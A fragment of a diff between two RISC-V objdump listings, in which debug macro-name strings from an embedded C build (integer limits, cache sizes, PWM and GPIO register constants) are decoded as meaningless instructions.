-    28b8:	3536                	fld	fa0,360(sp)
-    28ba:	3830                	fld	fa2,112(s0)
-    28bc:	3735                	jal	27e8 <__stack_size+0x1fe8>
-    28be:	3935                	jal	24fa <__stack_size+0x1cfa>
-    28c0:	36363233          	0x36363233
-    28c4:	3832                	fld	fa6,296(sp)
-    28c6:	3030                	fld	fa2,96(s0)
-    28c8:	65323037          	lui	zero,0x65323
-    28cc:	3339342b          	0x3339342b
-    28d0:	4632                	lw	a2,12(sp)
-    28d2:	3436                	fld	fs0,360(sp)
-    28d4:	0078                	addi	a4,sp,12
-    28d6:	535f 5f43 454c      	0x454c5f43535f
-    28dc:	4556                	lw	a0,84(sp)
-    28de:	344c                	fld	fa1,168(s0)
-    28e0:	435f 4341 4548      	0x45484341435f
-    28e6:	535f 5a49 2045      	0x20455a49535f
-    28ec:	3331                	jal	25f8 <__stack_size+0x1df8>
-    28ee:	48530037          	lui	zero,0x48530
-    28f2:	5452                	lw	s0,52(sp)
-    28f4:	4d5f 4e49 2820      	0x28204e494d5f
-    28fa:	532d                	li	t1,-21
-    28fc:	5248                	lw	a0,36(a2)
-    28fe:	5f54                	lw	a3,60(a4)
-    2900:	414d                	li	sp,19
-    2902:	2058                	fld	fa4,128(s0)
-    2904:	202d                	jal	292e <__stack_size+0x212e>
-    2906:	2931                	jal	2d22 <__stack_size+0x2522>
-    2908:	4900                	lw	s0,16(a0)
-    290a:	544e                	lw	s0,240(sp)
-    290c:	4c5f 4145 5453      	0x545341454c5f
-    2912:	3631                	jal	241e <__stack_size+0x1c1e>
-    2914:	4d5f 5841 5f20      	0x5f2058414d5f
-    291a:	495f 544e 4c5f      	0x4c5f544e495f
-    2920:	4145                	li	sp,17
-    2922:	36315453          	0x36315453
-    2926:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    292c:	5f00                	lw	s0,56(a4)
-    292e:	555f 4e49 5f54      	0x5f544e49555f
-    2934:	454c                	lw	a1,12(a0)
-    2936:	5341                	li	t1,-16
-    2938:	3654                	fld	fa3,168(a2)
-    293a:	5f34                	lw	a3,120(a4)
-    293c:	414d                	li	sp,19
-    293e:	5f58                	lw	a4,60(a4)
-    2940:	205f 7830 6666      	0x66667830205f
-    2946:	6666                	flw	fa2,88(sp)
-    2948:	6666                	flw	fa2,88(sp)
-    294a:	6666                	flw	fa2,88(sp)
-    294c:	6666                	flw	fa2,88(sp)
-    294e:	6666                	flw	fa2,88(sp)
-    2950:	6666                	flw	fa2,88(sp)
-    2952:	6666                	flw	fa2,88(sp)
-    2954:	4c55                	li	s8,21
-    2956:	004c                	addi	a1,sp,4
-    2958:	4558                	lw	a4,12(a0)
-    295a:	414d                	li	sp,19
-    295c:	41425f43          	fmadd.s	ft10,ft4,fs4,fs0,unknown
-    2960:	30204553          	0x30204553
-    2964:	3678                	fld	fa4,232(a2)
-    2966:	3030                	fld	fa2,96(s0)
-    2968:	3030                	fld	fa2,96(s0)
-    296a:	3030                	fld	fa2,96(s0)
-    296c:	0030                	addi	a2,sp,8
-    296e:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    2974:	725f 6c65 6165      	0x61656c65725f
-    297a:	725f6573          	csrrsi	a0,0x725,30
-    297e:	6365                	lui	t1,0x19
-    2980:	7275                	lui	tp,0xffffd
-    2982:	65766973          	csrrsi	s2,0x657,12
-    2986:	6c28                	flw	fa0,88(s0)
-    2988:	296b636f          	jal	t1,b8c1e <__stack_size+0xb841e>
-    298c:	2820                	fld	fs0,80(s0)
-    298e:	7628                	flw	fa0,104(a2)
-    2990:	2964696f          	jal	s2,48c26 <__stack_size+0x48426>
-    2994:	3020                	fld	fs0,96(s0)
-    2996:	0029                	c.nop	10
-    2998:	5f5f 6f66 6d72      	0x6d726f665f5f
-    299e:	7461                	lui	s0,0xffff8
-    29a0:	615f 6772 6628      	0x66286772615f
-    29a6:	746d                	lui	s0,0xffffb
-    29a8:	7261                	lui	tp,0xffff8
-    29aa:	5f202967          	0x5f202967
-    29ae:	615f 7474 6972      	0x69727474615f
-    29b4:	7562                	flw	fa0,56(sp)
-    29b6:	6574                	flw	fa3,76(a0)
-    29b8:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    29be:	6f66                	flw	ft10,88(sp)
-    29c0:	6d72                	flw	fs10,28(sp)
-    29c2:	7461                	lui	s0,0xffff8
-    29c4:	615f 6772 5f5f      	0x5f5f6772615f
-    29ca:	2820                	fld	fs0,80(s0)
-    29cc:	6d66                	flw	fs10,88(sp)
-    29ce:	6174                	flw	fa3,68(a0)
-    29d0:	6772                	flw	fa4,28(sp)
-    29d2:	2929                	jal	2dec <__stack_size+0x25ec>
-    29d4:	0029                	c.nop	10
-    29d6:	5f5f 4c53 3436      	0x34364c535f5f
-    29dc:	3020                	fld	fs0,96(s0)
-    29de:	3878                	fld	fa4,240(s0)
-    29e0:	3030                	fld	fa2,96(s0)
-    29e2:	0030                	addi	a2,sp,8
-    29e4:	4d44                	lw	s1,28(a0)
-    29e6:	5f41                	li	t5,-16
-    29e8:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    29ec:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
-    29f0:	7830                	flw	fa2,112(s0)
-    29f2:	3031                	jal	21fe <__stack_size+0x19fe>
-    29f4:	5700                	lw	s0,40(a4)
-    29f6:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    29fa:	4d5f 4e49 5f00      	0x5f004e494d5f
-    2a00:	4544                	lw	s1,12(a0)
-    2a02:	4146                	lw	sp,80(sp)
-    2a04:	4c55                	li	s8,21
-    2a06:	5f54                	lw	a3,60(a4)
-    2a08:	52554f53          	0x52554f53
-    2a0c:	50004543          	fmadd.s	fa0,ft0,ft0,fa0,rmm
-    2a10:	435f4d57          	0x435f4d57
-    2a14:	4746                	lw	a4,80(sp)
-    2a16:	435f 504d 4333      	0x4333504d435f
-    2a1c:	4e45                	li	t3,17
-    2a1e:	4554                	lw	a3,12(a0)
-    2a20:	2052                	fld	ft0,272(sp)
-    2a22:	7830                	flw	fa2,112(s0)
-    2a24:	3030                	fld	fa2,96(s0)
-    2a26:	3830                	fld	fa2,112(s0)
-    2a28:	3030                	fld	fa2,96(s0)
+    2432:	3030                	fld	fa2,96(s0)
+    2434:	2d65                	jal	2aec <__stack_size+0x22ec>
+    2436:	5f004637          	lui	a2,0x5f004
+    243a:	545f4353          	0x545f4353
+    243e:	5248                	lw	a0,36(a2)
+    2440:	4145                	li	sp,17
+    2442:	5f44                	lw	s1,60(a4)
+    2444:	54555043          	0x54555043
+    2448:	4d49                	li	s10,18
+    244a:	2045                	jal	24ea <__stack_size+0x1cea>
+    244c:	3038                	fld	fa4,96(s0)
+    244e:	4700                	lw	s0,8(a4)
+    2450:	4950                	lw	a2,20(a0)
+    2452:	554f5f4f          	0x554f5f4f
+    2456:	5054                	lw	a3,36(s0)
+    2458:	5455                	li	s0,-11
+    245a:	565f 4c41 3020      	0x30204c41565f
+    2460:	3078                	fld	fa4,224(s0)
+    2462:	49550043          	fmadd.s	ft0,fa0,fs5,fs1,rne
+    2466:	544e                	lw	s0,240(sp)
+    2468:	5450                	lw	a2,44(s0)
+    246a:	5f52                	lw	t5,52(sp)
+    246c:	414d                	li	sp,19
+    246e:	0058                	addi	a4,sp,4
+    2470:	5f46                	lw	t5,112(sp)
+    2472:	4554                	lw	a3,12(a0)
+    2474:	33205453          	0x33205453
+    2478:	5f00                	lw	s0,56(a4)
+    247a:	545f4353          	0x545f4353
+    247e:	5248                	lw	a0,36(a2)
+    2480:	4145                	li	sp,17
+    2482:	5344                	lw	s1,36(a4)
+    2484:	3420                	fld	fs0,104(s0)
+    2486:	0032                	c.slli	zero,0xc
+    2488:	4e49                	li	t3,18
+    248a:	3354                	fld	fa3,160(a4)
+    248c:	5f32                	lw	t5,44(sp)
+    248e:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    2492:	5f20                	lw	s0,120(a4)
+    2494:	495f 544e 3233      	0x3233544e495f
+    249a:	435f 6328 0029      	0x296328435f
+    24a0:	5f5f 4c46 3654      	0x36544c465f5f
+    24a6:	5834                	lw	a3,112(s0)
+    24a8:	4d5f 4e49 315f      	0x315f4e494d5f
+    24ae:	5f30                	lw	a2,120(a4)
+    24b0:	5845                	li	a6,-15
+    24b2:	5f50                	lw	a2,60(a4)
+    24b4:	205f 2d28 3934      	0x39342d28205f
+    24ba:	00293133          	sltu	sp,s2,sp
+    24be:	535f 5f43 4854      	0x48545f43535f
+    24c4:	4552                	lw	a0,20(sp)
+    24c6:	4441                	li	s0,16
+    24c8:	415f 5454 5f52      	0x5f525454415f
+    24ce:	43415453          	0x43415453
+    24d2:	4444414b          	0x4444414b
+    24d6:	2052                	fld	ft0,272(sp)
+    24d8:	3334                	fld	fa3,96(a4)
+    24da:	5f00                	lw	s0,56(a4)
+    24dc:	4e46                	lw	t3,80(sp)
+    24de:	4c424e4f          	0x4c424e4f
+    24e2:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    24e6:	7830                	flw	fa2,112(s0)
+    24e8:	3034                	fld	fa3,96(s0)
+    24ea:	3030                	fld	fa2,96(s0)
+    24ec:	5f00                	lw	s0,56(a4)
+    24ee:	475f 4343 415f      	0x415f4343475f
+    24f4:	4f54                	lw	a3,28(a4)
+    24f6:	494d                	li	s2,19
+    24f8:	45545f43          	0x45545f43
+    24fc:	415f5453          	0x415f5453
+    2500:	444e                	lw	s0,208(sp)
+    2502:	535f 5445 545f      	0x545f5445535f
+    2508:	5552                	lw	a0,52(sp)
+    250a:	5645                	li	a2,-15
+    250c:	4c41                	li	s8,16
+    250e:	3120                	fld	fs0,96(a0)
+    2510:	5f00                	lw	s0,56(a4)
+    2512:	555f 4e49 3354      	0x33544e49555f
+    2518:	5f32                	lw	t5,44(sp)
+    251a:	5954                	lw	a3,52(a0)
+    251c:	4550                	lw	a2,12(a0)
+    251e:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
+    2524:	6e752067          	0x6e752067
+    2528:	6e676973          	csrrsi	s2,0x6e6,14
+    252c:	6465                	lui	s0,0x19
+    252e:	6920                	flw	fs0,80(a0)
+    2530:	746e                	flw	fs0,248(sp)
+    2532:	5f00                	lw	s0,56(a4)
+    2534:	475f 554e 4c43      	0x4c43554e475f
+    253a:	4b49                	li	s6,18
+    253c:	5f45                	li	t5,-15
+    253e:	5f5f 464f 5346      	0x5346464f5f5f
+    2544:	5445                	li	s0,-15
+    2546:	3120464f          	fnmadd.s	fa2,ft0,fs2,ft6,rmm
+    254a:	5f00                	lw	s0,56(a4)
+    254c:	4c5f4353          	0x4c5f4353
+    2550:	5645                	li	a2,-15
+    2552:	4c45                	li	s8,17
+    2554:	5f31                	li	t5,-20
+    2556:	4344                	lw	s1,4(a4)
+    2558:	4341                	li	t1,16
+    255a:	4548                	lw	a0,12(a0)
+    255c:	535f 5a49 2045      	0x20455a49535f
+    2562:	3231                	jal	1e6e <__stack_size+0x166e>
+    2564:	0038                	addi	a4,sp,8
+    2566:	5f5f 4955 544e      	0x544e49555f5f
+    256c:	5f38                	lw	a4,120(a4)
+    256e:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    2572:	6320                	flw	fs0,64(a4)
+    2574:	4600                	lw	s0,8(a2)
+    2576:	5f44                	lw	s1,60(a4)
+    2578:	454f4c43          	0x454f4c43
+    257c:	4558                	lw	a4,12(a0)
+    257e:	00312043          	fmadd.s	ft0,ft2,ft3,ft0,rdn
+    2582:	5f5f 4c46 3354      	0x33544c465f5f
+    2588:	5f32                	lw	t5,44(sp)
+    258a:	414d                	li	sp,19
+    258c:	5f58                	lw	a4,60(a4)
+    258e:	205f 2e33 3034      	0x30342e33205f
+    2594:	3832                	fld	fa6,296(sp)
+    2596:	3332                	fld	ft6,296(sp)
+    2598:	3634                	fld	fa3,104(a2)
+    259a:	3336                	fld	ft6,360(sp)
+    259c:	3538                	fld	fa4,104(a0)
+    259e:	3832                	fld	fa6,296(sp)
+    25a0:	3538                	fld	fa4,104(a0)
+    25a2:	3839                	jal	1dc0 <__stack_size+0x15c0>
+    25a4:	3131                	jal	21b0 <__stack_size+0x19b0>
+    25a6:	31343037          	lui	zero,0x31343
+    25aa:	3338                	fld	fa4,96(a4)
+    25ac:	3834                	fld	fa3,112(s0)
+    25ae:	3534                	fld	fa3,104(a0)
+    25b0:	3631                	jal	20bc <__stack_size+0x18bc>
+    25b2:	3239                	jal	1ec0 <__stack_size+0x16c0>
+    25b4:	6535                	lui	a0,0xd
+    25b6:	4638332b          	0x4638332b
+    25ba:	5f003233          	0x5f003233
+    25be:	544e4157          	0x544e4157
+    25c2:	525f 4745 5349      	0x53494745525f
+    25c8:	4554                	lw	a3,12(a0)
+    25ca:	5f52                	lw	t5,52(sp)
+    25cc:	4946                	lw	s2,80(sp)
+    25ce:	494e                	lw	s2,208(sp)
+    25d0:	3120                	fld	fs0,96(a0)
+    25d2:	4700                	lw	s0,8(a4)
+    25d4:	4950                	lw	a2,20(a0)
+    25d6:	49485f4f          	fnmadd.s	ft10,fa6,fs4,fs1,unknown
+    25da:	495f4847          	fmsub.s	fa6,ft10,fs5,fs1,rmm
+    25de:	2045                	jal	267e <__stack_size+0x1e7e>
+    25e0:	7830                	flw	fa2,112(s0)
+    25e2:	3832                	fld	fa6,296(sp)
+    25e4:	4900                	lw	s0,16(a0)
+    25e6:	544e                	lw	s0,240(sp)
+    25e8:	5f38                	lw	a4,120(a4)
+    25ea:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    25ee:	5f20                	lw	s0,120(a4)
+    25f0:	495f 544e 5f38      	0x5f38544e495f
+    25f6:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    25fa:	5500                	lw	s0,40(a0)
+    25fc:	4e49                	li	t3,18
+    25fe:	3154                	fld	fa3,160(a0)
+    2600:	5f36                	lw	t5,108(sp)
+    2602:	414d                	li	sp,19
+    2604:	2058                	fld	fa4,128(s0)
+    2606:	5f5f 4955 544e      	0x544e49555f5f
+    260c:	3631                	jal	2118 <__stack_size+0x1918>
+    260e:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    2614:	5f00                	lw	s0,56(a4)
+    2616:	775f 6165 5f6b      	0x5f6b6165775f
+    261c:	626d7973          	csrrci	s2,0x626,26
+    2620:	5f206c6f          	jal	s8,8c12 <__stack_size+0x8412>
+    2624:	615f 7474 6972      	0x69727474615f
+    262a:	7562                	flw	fa0,56(sp)
+    262c:	6574                	flw	fa3,76(a0)
+    262e:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    2634:	6b616577          	0x6b616577
+    2638:	5f5f 2929 5f00      	0x5f0029295f5f
+    263e:	665f 656c 6178      	0x6178656c665f
+    2644:	7272                	flw	ft4,60(sp)
+    2646:	5b20                	lw	s0,112(a4)
+    2648:	5d30                	lw	a2,120(a0)
+    264a:	5f00                	lw	s0,56(a4)
+    264c:	4552                	lw	a0,20(sp)
+    264e:	4e45                	li	t3,17
+    2650:	5f54                	lw	a3,60(a4)
+    2652:	4152                	lw	sp,20(sp)
+    2654:	444e                	lw	s0,208(sp)
+    2656:	3834                	fld	fa3,112(s0)
+    2658:	415f 4444 7028      	0x70284444415f
+    265e:	7274                	flw	fa3,100(a2)
+    2660:	2029                	jal	266a <__stack_size+0x1e6a>
+    2662:	2828                	fld	fa0,80(s0)
+    2664:	7470                	flw	fa2,108(s0)
+    2666:	2972                	fld	fs2,280(sp)
+    2668:	3e2d                	jal	21a2 <__stack_size+0x19a2>
+    266a:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    2670:	6572                	flw	fa0,28(sp)
+    2672:	6e65                	lui	t3,0x19
+    2674:	2e74                	fld	fa3,216(a2)
+    2676:	725f 3834 5f2e      	0x5f2e3834725f
+    267c:	6461                	lui	s0,0x18
+    267e:	2964                	fld	fs1,208(a0)
+    2680:	5000                	lw	s0,32(s0)
+    2682:	435f4d57          	0x435f4d57
+    2686:	4746                	lw	a4,80(sp)
+    2688:	435f 504d 4930      	0x4930504d435f
+    268e:	2050                	fld	fa2,128(s0)
+    2690:	7830                	flw	fa2,112(s0)
+    2692:	3031                	jal	1e9e <__stack_size+0x169e>
+    2694:	3030                	fld	fa2,96(s0)
+    2696:	3030                	fld	fa2,96(s0)
+    2698:	3030                	fld	fa2,96(s0)
+    269a:	4200                	lw	s0,0(a2)
+    269c:	4655                	li	a2,21
+    269e:	4546                	lw	a0,80(sp)
+    26a0:	5f52                	lw	t5,52(sp)
+    26a2:	455a4953          	0x455a4953
+    26a6:	3320                	fld	fs0,96(a4)
+    26a8:	0032                	c.slli	zero,0xc
+    26aa:	616d                	addi	sp,sp,240
+    26ac:	6c6c                	flw	fa1,92(s0)
+    26ae:	5f00636f          	jal	t1,8c9e <__stack_size+0x849e>
+    26b2:	4e55                	li	t3,21
+    26b4:	5349                	li	t1,-14
+    26b6:	4454                	lw	a3,12(s0)
+    26b8:	485f 205f 4f00      	0x4f00205f485f
+    26be:	435f 4f4c 5845      	0x58454f4c435f
+    26c4:	4345                	li	t1,17
+    26c6:	5f20                	lw	s0,120(a4)
+    26c8:	4e46                	lw	t3,80(sp)
+    26ca:	484e494f          	fnmadd.s	fs2,ft8,ft4,fs1,rmm
+    26ce:	5245                	li	tp,-15
+    26d0:	5449                	li	s0,-14
+    26d2:	4100                	lw	s0,0(a0)
+    26d4:	53454343          	fmadd.d	ft6,fa0,fs4,fa0,rmm
+    26d8:	52455053          	0x52455053
+    26dc:	534d                	li	t1,-13
+    26de:	2820                	fld	fs0,80(s0)
+    26e0:	52495f53          	0x52495f53
+    26e4:	20555857          	0x20555857
+    26e8:	207c                	fld	fa5,192(s0)
+    26ea:	52495f53          	0x52495f53
+    26ee:	20475857          	0x20475857
+    26f2:	207c                	fld	fa5,192(s0)
+    26f4:	52495f53          	0x52495f53
+    26f8:	294f5857          	0x294f5857
+    26fc:	5f00                	lw	s0,56(a4)
+    26fe:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    2704:	6572                	flw	fa0,28(sp)
+    2706:	656c                	flw	fa1,76(a0)
+    2708:	7361                	lui	t1,0xffff8
+    270a:	2865                	jal	27c2 <__stack_size+0x1fc2>
+    270c:	6f6c                	flw	fa1,92(a4)
+    270e:	20296b63          	bltu	s2,sp,2924 <__stack_size+0x2124>
+    2712:	2828                	fld	fa0,80(s0)
+    2714:	6f76                	flw	ft10,92(sp)
+    2716:	6469                	lui	s0,0x1a
+    2718:	2029                	jal	2722 <__stack_size+0x1f22>
+    271a:	2930                	fld	fa2,80(a0)
+    271c:	5f00                	lw	s0,56(a4)
+    271e:	4f5f 4452 5245      	0x524544524f5f
+    2724:	4c5f 5449 4c54      	0x4c5454494c5f
+    272a:	5f45                	li	t5,-15
+    272c:	4e45                	li	t3,17
+    272e:	4944                	lw	s1,20(a0)
+    2730:	4e41                	li	t3,16
+    2732:	5f5f 3120 3332      	0x333231205f5f
+    2738:	0034                	addi	a3,sp,8
+    273a:	505f 5254 4944      	0x49445254505f
+    2740:	4646                	lw	a2,80(sp)
+    2742:	545f 445f 4345      	0x4345445f545f
+    2748:	414c                	lw	a1,4(a0)
+    274a:	4552                	lw	a0,20(sp)
+    274c:	2044                	fld	fs1,128(s0)
+    274e:	5f00                	lw	s0,56(a4)
+    2750:	4552                	lw	a0,20(sp)
+    2752:	4e45                	li	t3,17
+    2754:	5f54                	lw	a3,60(a4)
+    2756:	4e474953          	0x4e474953
+    275a:	284d4147          	fmsub.s	ft2,fs10,ft4,ft5,rmm
+    275e:	7470                	flw	fa2,108(s0)
+    2760:	2972                	fld	fs2,280(sp)
+    2762:	2820                	fld	fs0,80(s0)
+    2764:	7028                	flw	fa0,96(s0)
+    2766:	7274                	flw	fa3,100(a2)
+    2768:	2d29                	jal	2d82 <__stack_size+0x2582>
+    276a:	5f3e                	lw	t5,236(sp)
+    276c:	656e                	flw	fa0,216(sp)
+    276e:	725f2e77          	0x725f2e77
+    2772:	6565                	lui	a0,0x19
+    2774:	746e                	flw	fs0,248(sp)
+    2776:	5f2e                	lw	t5,232(sp)
+    2778:	6d6d6167          	0x6d6d6167
+    277c:	5f61                	li	t5,-8
+    277e:	6e676973          	csrrsi	s2,0x6e6,14
+    2782:	296d6167          	0x296d6167
+    2786:	5f00                	lw	s0,56(a4)
+    2788:	615f 776c 7961      	0x7961776c615f
+    278e:	6e695f73          	csrrwi	t5,0x6e6,18
+    2792:	696c                	flw	fa1,84(a0)
+    2794:	656e                	flw	fa0,216(sp)
+    2796:	5f20                	lw	s0,120(a4)
+    2798:	695f 6c6e 6e69      	0x6e696c6e695f
+    279e:	5f65                	li	t5,-7
+    27a0:	205f 5f5f 7461      	0x74615f5f205f
+    27a6:	7274                	flw	fa3,100(a2)
+    27a8:	6269                	lui	tp,0x1a
+    27aa:	7475                	lui	s0,0xffffd
+    27ac:	5f65                	li	t5,-7
+    27ae:	285f 5f28 615f      	0x615f5f28285f
+    27b4:	776c                	flw	fa1,108(a4)
+    27b6:	7961                	lui	s2,0xffff8
+    27b8:	6e695f73          	csrrwi	t5,0x6e6,18
+    27bc:	696c                	flw	fa1,84(a0)
+    27be:	656e                	flw	fa0,216(sp)
+    27c0:	5f5f 2929 5300      	0x530029295f5f
+    27c6:	495f 5752 5558      	0x55585752495f
+    27cc:	2820                	fld	fs0,80(s0)
+    27ce:	52495f53          	0x52495f53
+    27d2:	5355                	li	t1,-11
+    27d4:	2052                	fld	ft0,272(sp)
+    27d6:	207c                	fld	fa5,192(s0)
+    27d8:	57495f53          	0x57495f53
+    27dc:	5355                	li	t1,-11
+    27de:	2052                	fld	ft0,272(sp)
+    27e0:	207c                	fld	fa5,192(s0)
+    27e2:	58495f53          	0x58495f53
+    27e6:	5355                	li	t1,-11
+    27e8:	2952                	fld	fs2,272(sp)
+    27ea:	5f00                	lw	s0,56(a4)
+    27ec:	755f 6e69 3374      	0x33746e69755f
+    27f2:	5f32                	lw	t5,44(sp)
+    27f4:	0074                	addi	a3,sp,12
+    27f6:	5f5f 4c46 5f54      	0x5f544c465f5f
+    27fc:	4944                	lw	s1,20(a0)
+    27fe:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    2802:	0036                	c.slli	zero,0xd
+    2804:	5f5f 6c61 6f6c      	0x6f6c6c615f5f
+    280a:	69735f63          	bge	t1,s7,2ea8 <__stack_size+0x26a8>
+    280e:	657a                	flw	fa0,156(sp)
+    2810:	2832                	fld	fa6,264(sp)
+    2812:	2c6e                	fld	fs8,216(sp)
+    2814:	2978                	fld	fa4,208(a0)
+    2816:	5f20                	lw	s0,120(a4)
+    2818:	615f 7474 6972      	0x69727474615f
+    281e:	7562                	flw	fa0,56(sp)
+    2820:	6574                	flw	fa3,76(a0)
+    2822:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    2828:	6c61                	lui	s8,0x18
+    282a:	6f6c                	flw	fa1,92(a4)
+    282c:	69735f63          	bge	t1,s7,2eca <__stack_size+0x26ca>
+    2830:	657a                	flw	fa0,156(sp)
+    2832:	5f5f 6e28 202c      	0x202c6e285f5f
+    2838:	2978                	fld	fa4,208(a0)
+    283a:	2929                	jal	2c54 <__stack_size+0x2454>
+    283c:	5f00                	lw	s0,56(a4)
+    283e:	445f 4c42 4d5f      	0x4d5f4c42445f
+    2844:	5841                	li	a6,-16
+    2846:	455f 5058 5f5f      	0x5f5f5058455f
+    284c:	3120                	fld	fs0,96(a0)
+    284e:	3230                	fld	fa2,96(a2)
+    2850:	0034                	addi	a3,sp,8
+    2852:	6e75                	lui	t3,0x1d
+    2854:	6e676973          	csrrsi	s2,0x6e6,14
+    2858:	6465                	lui	s0,0x19
+    285a:	7320                	flw	fs0,96(a4)
+    285c:	6769                	lui	a4,0x1a
+    285e:	656e                	flw	fa0,216(sp)
+    2860:	0064                	addi	s1,sp,12
+    2862:	5f5f 4955 544e      	0x544e49555f5f
+    2868:	4c5f 4145 5453      	0x545341454c5f
+    286e:	3631                	jal	237a <__stack_size+0x1b7a>
+    2870:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    2876:	3020                	fld	fs0,96(s0)
+    2878:	6678                	flw	fa4,76(a2)
+    287a:	6666                	flw	fa2,88(sp)
+    287c:	0066                	c.slli	zero,0x19
+    287e:	5f5f 4953 455a      	0x455a49535f5f
+    2884:	575f 4449 4854      	0x48544449575f
+    288a:	5f5f 3320 0032      	0x3233205f5f
+    2890:	4446                	lw	s0,80(sp)
+    2892:	535f 5445 6e28      	0x6e285445535f
+    2898:	702c                	flw	fa1,96(s0)
+    289a:	2029                	jal	28a4 <__stack_size+0x20a4>
+    289c:	2828                	fld	fa0,80(s0)
+    289e:	2970                	fld	fa2,208(a0)
+    28a0:	3e2d                	jal	23da <__stack_size+0x1bda>
+    28a2:	6466                	flw	fs0,88(sp)
+    28a4:	69625f73          	csrrwi	t5,0x696,4
+    28a8:	7374                	flw	fa3,100(a4)
+    28aa:	296e285b          	0x296e285b
+    28ae:	44464e2f          	0x44464e2f
+    28b2:	4942                	lw	s2,16(sp)
+    28b4:	5354                	lw	a3,36(a4)
+    28b6:	205d                	jal	295c <__stack_size+0x215c>
+    28b8:	3d7c                	fld	fa5,248(a0)
+    28ba:	2820                	fld	fs0,80(s0)
+    28bc:	4c31                	li	s8,12
+    28be:	3c20                	fld	fs0,120(s0)
+    28c0:	203c                	fld	fa5,64(s0)
+    28c2:	2828                	fld	fa0,80(s0)
+    28c4:	296e                	fld	fs2,216(sp)
+    28c6:	2520                	fld	fs0,72(a0)
+    28c8:	4e20                	lw	s0,88(a2)
+    28ca:	4446                	lw	s0,80(sp)
+    28cc:	4942                	lw	s2,16(sp)
+    28ce:	5354                	lw	a3,36(a4)
+    28d0:	2929                	jal	2cea <__stack_size+0x24ea>
+    28d2:	0029                	c.nop	10
+    28d4:	5f5f 756e 6c6c      	0x6c6c756e5f5f
+    28da:	735f 6e65 6974      	0x69746e65735f
+    28e0:	656e                	flw	fa0,216(sp)
+    28e2:	206c                	fld	fa1,192(s0)
+    28e4:	5f5f 7461 7274      	0x727474615f5f
+    28ea:	6269                	lui	tp,0x1a
+    28ec:	7475                	lui	s0,0xffffd
+    28ee:	5f65                	li	t5,-7
+    28f0:	285f 5f28 735f      	0x735f5f28285f
+    28f6:	6e65                	lui	t3,0x19
+    28f8:	6974                	flw	fa3,84(a0)
+    28fa:	656e                	flw	fa0,216(sp)
+    28fc:	5f6c                	lw	a1,124(a4)
+    28fe:	295f 0029 535f      	0x535f0029295f
+    2904:	45475f43          	0x45475f43
+    2908:	4754                	lw	a3,12(a4)
+    290a:	5f52                	lw	t5,52(sp)
+    290c:	5f52                	lw	t5,52(sp)
+    290e:	455a4953          	0x455a4953
+    2912:	4d5f 5841 3520      	0x352058414d5f
+    2918:	0030                	addi	a2,sp,8
+    291a:	535f 5359 535f      	0x535f5359535f
+    2920:	5254                	lw	a3,36(a2)
+    2922:	4e49                	li	t3,18
+    2924:	20485f47          	fmsub.s	ft10,fa6,ft4,ft4,unknown
+    2928:	5300                	lw	s0,32(a4)
+    292a:	4454                	lw	a3,12(s0)
+    292c:	5f54554f          	fnmadd.q	fa0,fs0,fs5,fa1,unknown
+    2930:	4946                	lw	s2,80(sp)
+    2932:	454c                	lw	a1,12(a0)
+    2934:	4f4e                	lw	t5,208(sp)
+    2936:	3120                	fld	fs0,96(a0)
+    2938:	5f00                	lw	s0,56(a4)
+    293a:	535f 5a49 4f45      	0x4f455a49535f
+    2940:	5f46                	lw	t5,112(sp)
+    2942:	455a4953          	0x455a4953
+    2946:	545f 5f5f 3420      	0x34205f5f545f
+    294c:	5000                	lw	s0,32(s0)
+    294e:	5441                	li	s0,-16
+    2950:	5f48                	lw	a0,60(a4)
+    2952:	414d                	li	sp,19
+    2954:	2058                	fld	fa4,128(s0)
+    2956:	3031                	jal	2162 <__stack_size+0x1962>
+    2958:	3432                	fld	fs0,296(sp)
+    295a:	5f00                	lw	s0,56(a4)
+    295c:	465f 544c 3436      	0x3436544c465f
+    2962:	5f58                	lw	a4,60(a4)
+    2964:	414d                	li	sp,19
+    2966:	5f58                	lw	a4,60(a4)
+    2968:	205f 2e31 3831      	0x38312e31205f
+    296e:	3739                	jal	287c <__stack_size+0x207c>
+    2970:	39343133          	0x39343133
+    2974:	3335                	jal	26a0 <__stack_size+0x1ea0>
+    2976:	3735                	jal	28a2 <__stack_size+0x20a2>
+    2978:	3332                	fld	ft6,296(sp)
+    297a:	3731                	jal	2886 <__stack_size+0x2086>
+    297c:	3536                	fld	fa0,360(sp)
+    297e:	3830                	fld	fa2,112(s0)
+    2980:	3735                	jal	28ac <__stack_size+0x20ac>
+    2982:	3935                	jal	25be <__stack_size+0x1dbe>
+    2984:	36363233          	0x36363233
+    2988:	3832                	fld	fa6,296(sp)
+    298a:	3030                	fld	fa2,96(s0)
+    298c:	65323037          	lui	zero,0x65323
+    2990:	3339342b          	0x3339342b
+    2994:	4632                	lw	a2,12(sp)
+    2996:	3436                	fld	fs0,360(sp)
+    2998:	0078                	addi	a4,sp,12
+    299a:	535f 5f43 454c      	0x454c5f43535f
+    29a0:	4556                	lw	a0,84(sp)
+    29a2:	344c                	fld	fa1,168(s0)
+    29a4:	435f 4341 4548      	0x45484341435f
+    29aa:	535f 5a49 2045      	0x20455a49535f
+    29b0:	3331                	jal	26bc <__stack_size+0x1ebc>
+    29b2:	48530037          	lui	zero,0x48530
+    29b6:	5452                	lw	s0,52(sp)
+    29b8:	4d5f 4e49 2820      	0x28204e494d5f
+    29be:	532d                	li	t1,-21
+    29c0:	5248                	lw	a0,36(a2)
+    29c2:	5f54                	lw	a3,60(a4)
+    29c4:	414d                	li	sp,19
